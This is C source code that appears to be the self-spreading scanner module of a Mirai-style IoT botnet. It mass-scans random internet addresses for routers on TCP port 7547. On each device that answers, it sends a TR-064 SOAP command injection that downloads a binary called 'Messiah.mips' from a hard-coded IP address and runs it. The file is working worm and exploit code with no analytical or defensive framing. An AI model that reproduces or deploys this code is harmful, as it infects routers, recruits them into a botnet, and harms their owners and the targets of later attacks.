#ifdef SELFREP
#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <sys/types.h>
#include <time.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include "headers/includes.h"
#include "headers/tr064.h"
#include "headers/table.h"
#include "headers/rand.h"
#include "headers/util.h"
#include "headers/checksum.h"
int tr064_scanner_pid = 0, tr064_rsck = 0, tr064_rsck_out = 0;
char tr064_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};
struct tr064_scanner_connection *conn_table;
uint32_t tr064_fake_time = 0;
int tr064_recv_strip_null(int sock, void *buf, int len, int flags)
{
int ret = recv(sock, buf, len, flags);
if(ret > 0)
{
int i = 0;
for(i = 0; i < ret; i++)
{
if(((char *)buf)[i] == 0x00)
{
((char *)buf)[i] = 'A';
}
}
}
return ret;
}
void tr064_scanner_init(void)
{
int i = 0;
uint16_t source_port;
struct iphdr *iph;
struct tcphdr *tcph;
tr064_scanner_pid = fork();
if(tr064_scanner_pid > 0 || tr064_scanner_pid == -1)
return;
LOCAL_ADDR = util_local_addr();
rand_init();
tr064_fake_time = time(NULL);
conn_table = calloc(tr064_SCANNER_MAX_CONNS, sizeof(struct tr064_scanner_connection));
for(i = 0; i < tr064_SCANNER_MAX_CONNS; i++)
{
conn_table[i].state = tr064_SC_CLOSED;
conn_table[i].fd = -1;
}
if((tr064_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
printf("[scanner] failed to initialize raw socket, cannot scan\n");
#endif
exit(0);
}
fcntl(tr064_rsck, F_SETFL, O_NONBLOCK | fcntl(tr064_rsck, F_GETFL, 0));
i = 1;
if(setsockopt(tr064_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)
{
#ifdef DEBUG
printf("[scanner] failed to set IP_HDRINCL, cannot scan\n");
#endif
close(tr064_rsck);
exit(0);
}
do
{
source_port = rand_next() & 0xffff;
}
while(ntohs(source_port) < 1024);
iph = (struct iphdr *)tr064_scanner_rawpkt;
tcph = (struct tcphdr *)(iph + 1);
iph->ihl = 5;
iph->version = 4;
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
iph->id = rand_next();
iph->ttl = 64;
iph->protocol = IPPROTO_TCP;
tcph->dest = htons(7547);
tcph->source = source_port;
tcph->doff = 5;
tcph->window = rand_next() & 0xffff;
tcph->syn = TRUE;
#ifdef DEBUG
printf("[scanner] scanner process initialized. scanning started.\n");
#endif
while(TRUE)
{
fd_set fdset_rd, fdset_wr;
struct tr064_scanner_connection *conn;
struct timeval tim;
int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
if(tr064_fake_time != last_spew)
{
last_spew = tr064_fake_time;
for(i = 0; i < tr064_SCANNER_RAW_PPS; i++)
{
struct sockaddr_in paddr = {0};
struct iphdr *iph = (struct iphdr *)tr064_scanner_rawpkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
iph->id = rand_next();
iph->saddr = LOCAL_ADDR;
iph->daddr = tr064_get_random_ip();
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));
tcph->dest = htons(7547);
tcph->seq = iph->daddr;
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));
paddr.sin_family = AF_INET;
paddr.sin_addr.s_addr = iph->daddr;
paddr.sin_port = tcph->dest;
sendto(tr064_rsck, tr064_scanner_rawpkt, sizeof(tr064_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));
}
}
last_avail_conn = 0;
while(TRUE)
{
int n = 0;
char dgram[1514];
struct iphdr *iph = (struct iphdr *)dgram;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
struct tr064_scanner_connection *conn;
errno = 0;
n = recvfrom(tr064_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);
if(n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
break;
if(n < sizeof(struct iphdr) + sizeof(struct tcphdr))
continue;
if(iph->daddr != LOCAL_ADDR)
continue;
if(iph->protocol != IPPROTO_TCP)
continue;
if(tcph->source != htons(7547))
continue;
if(tcph->dest != source_port)
continue;
if(!tcph->syn)
continue;
if(!tcph->ack)
continue;
if(tcph->rst)
continue;
if(tcph->fin)
continue;
if(htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
continue;
conn = NULL;
for(n = last_avail_conn; n < tr064_SCANNER_MAX_CONNS; n++)
{
if(conn_table[n].state == tr064_SC_CLOSED)
{
conn = &conn_table[n];
last_avail_conn = n;
break;
}
}
if(conn == NULL)
break;
conn->dst_addr = iph->saddr;
conn->dst_port = tcph->source;
tr064_setup_connection(conn);
}
FD_ZERO(&fdset_rd);
FD_ZERO(&fdset_wr);
for(i = 0; i < tr064_SCANNER_MAX_CONNS; i++)
{
int timeout = 5;
conn = &conn_table[i];
if(conn->state != tr064_SC_CLOSED && (tr064_fake_time - conn->last_recv) > timeout)
{
close(conn->fd);
conn->fd = -1;
conn->state = tr064_SC_CLOSED;
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
continue;
}
if(conn->state == tr064_SC_CONNECTING || conn->state == tr064_SC_EXPLOIT_STAGE2 || conn->state == tr064_SC_EXPLOIT_STAGE3)
{
FD_SET(conn->fd, &fdset_wr);
if(conn->fd > mfd_wr)
mfd_wr = conn->fd;
}
else if(conn->state != tr064_SC_CLOSED)
{
FD_SET(conn->fd, &fdset_rd);
if(conn->fd > mfd_rd)
mfd_rd = conn->fd;
}
}
tim.tv_usec = 0;
tim.tv_sec = 1;
nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
tr064_fake_time = time(NULL);
for(i = 0; i < tr064_SCANNER_MAX_CONNS; i++)
{
conn = &conn_table[i];
if(conn->fd == -1)
continue;
if(FD_ISSET(conn->fd, &fdset_wr))
{
int err = 0, ret = 0;
socklen_t err_len = sizeof(err);
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
if(err == 0 && ret == 0)
{
if(conn->state == tr064_SC_EXPLOIT_STAGE2)
{
#ifdef DEBUG
printf("[scanner] FD%d sending payload\n", conn->fd);
#endif
util_strcpy(conn->payload_buf, "POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:7547\r\nUser-Agent: r00ts3c-owned-you\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: 526\r\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\"> <NewNTPServer1>`cd /tmp;wget http://68.183.17.95/Messiah.mips; chmod 777 Messiah.mips; ./Messiah.mips`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>");
send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);
util_zero(conn->payload_buf, sizeof(conn->payload_buf));
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
close(conn->fd);
tr064_setup_connection(conn);
conn->state = tr064_SC_EXPLOIT_STAGE3;
continue;
}
else if(conn->state == tr064_SC_EXPLOIT_STAGE3)
{
#ifdef DEBUG
printf("[scanner] FD%d finnished\n", conn->fd);
#endif
util_strcpy(conn->payload_buf, "POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:7547\r\nUser-Agent: r00ts3c-owned-you\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: 526\r\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\"> <NewNTPServer1>`cd /tmp;wget http://68.183.17.95/Messiah.mips; chmod 777 Messiah.mips; ./Messiah.mips`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>");
send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);
util_zero(conn->payload_buf, sizeof(conn->payload_buf));
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
close(conn->fd);
conn->fd = -1;
conn->state = tr064_SC_CLOSED;
continue;
}
else
{
#ifdef DEBUG
printf("[scanner] FD%d connected to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);
#endif
conn->state = tr064_SC_EXPLOIT_STAGE2;
}
}
else
{
close(conn->fd);
conn->fd = -1;
conn->state = tr064_SC_CLOSED;
continue;
}
}
if(FD_ISSET(conn->fd, &fdset_rd))
{
while(TRUE)
{
int ret = 0;
if(conn->state == tr064_SC_CLOSED)
break;
if(conn->rdbuf_pos == tr064_SCANNER_RDBUF_SIZE)
{
memmove(conn->rdbuf, conn->rdbuf + tr064_SCANNER_HACK_DRAIN, tr064_SCANNER_RDBUF_SIZE - tr064_SCANNER_HACK_DRAIN);
conn->rdbuf_pos -= tr064_SCANNER_HACK_DRAIN;
}
errno = 0;
ret = tr064_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, tr064_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
if(ret == 0)
{
errno = ECONNRESET;
ret = -1;
}
if(ret == -1)
{
if(errno != EAGAIN && errno != EWOULDBLOCK)
{
if(conn->state == tr064_SC_EXPLOIT_STAGE2)
{
close(conn->fd);
tr064_setup_connection(conn);
continue;
}
close(conn->fd);
conn->fd = -1;
conn->state = tr064_SC_CLOSED;
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
}
break;
}
conn->rdbuf_pos += ret;
conn->last_recv = tr064_fake_time;
int len = util_strlen(conn->rdbuf);
conn->rdbuf[len] = 0;
}
}
}
}
}
void tr064_scanner_kill(void)
{
kill(tr064_scanner_pid, 9);
}
static void tr064_setup_connection(struct tr064_scanner_connection *conn)
{
struct sockaddr_in addr = {0};
if(conn->fd != -1)
close(conn->fd);
if((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
return;
}
conn->rdbuf_pos = 0;
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = conn->dst_addr;
addr.sin_port = conn->dst_port;
conn->last_recv = tr064_fake_time;
if(conn->state == tr064_SC_EXPLOIT_STAGE2 || conn->state == tr064_SC_EXPLOIT_STAGE3)
{
}
else
{
conn->state = tr064_SC_CONNECTING;
}
connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
}
static ipv4_t tr064_get_random_ip(void)
{
uint32_t tmp;
uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;
do
{
tmp = rand_next();
o1 = tmp & 0xff;
o2 = (tmp >> 8) & 0xff;
o3 = (tmp >> 16) & 0xff;
o4 = (tmp >> 24) & 0xff;
}
while(o1 == 127 ||
(o1 == 0) ||
(o1 == 3) ||
(o1 == 15 || o1 == 16) ||
(o1 == 56) ||
(o1 == 10) ||
(o1 == 192 && o2 == 168) ||
(o1 == 172 && o2 >= 16 && o2 < 32) ||
(o1 == 100 && o2 >= 64 && o2 < 127) ||
(o1 == 169 && o2 > 254) ||
(o1 == 198 && o2 >= 18 && o2 < 20) ||
(o1 >= 224) ||
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215)
);
return INET_ADDR(o1,o2,o3,o4);
}
#endif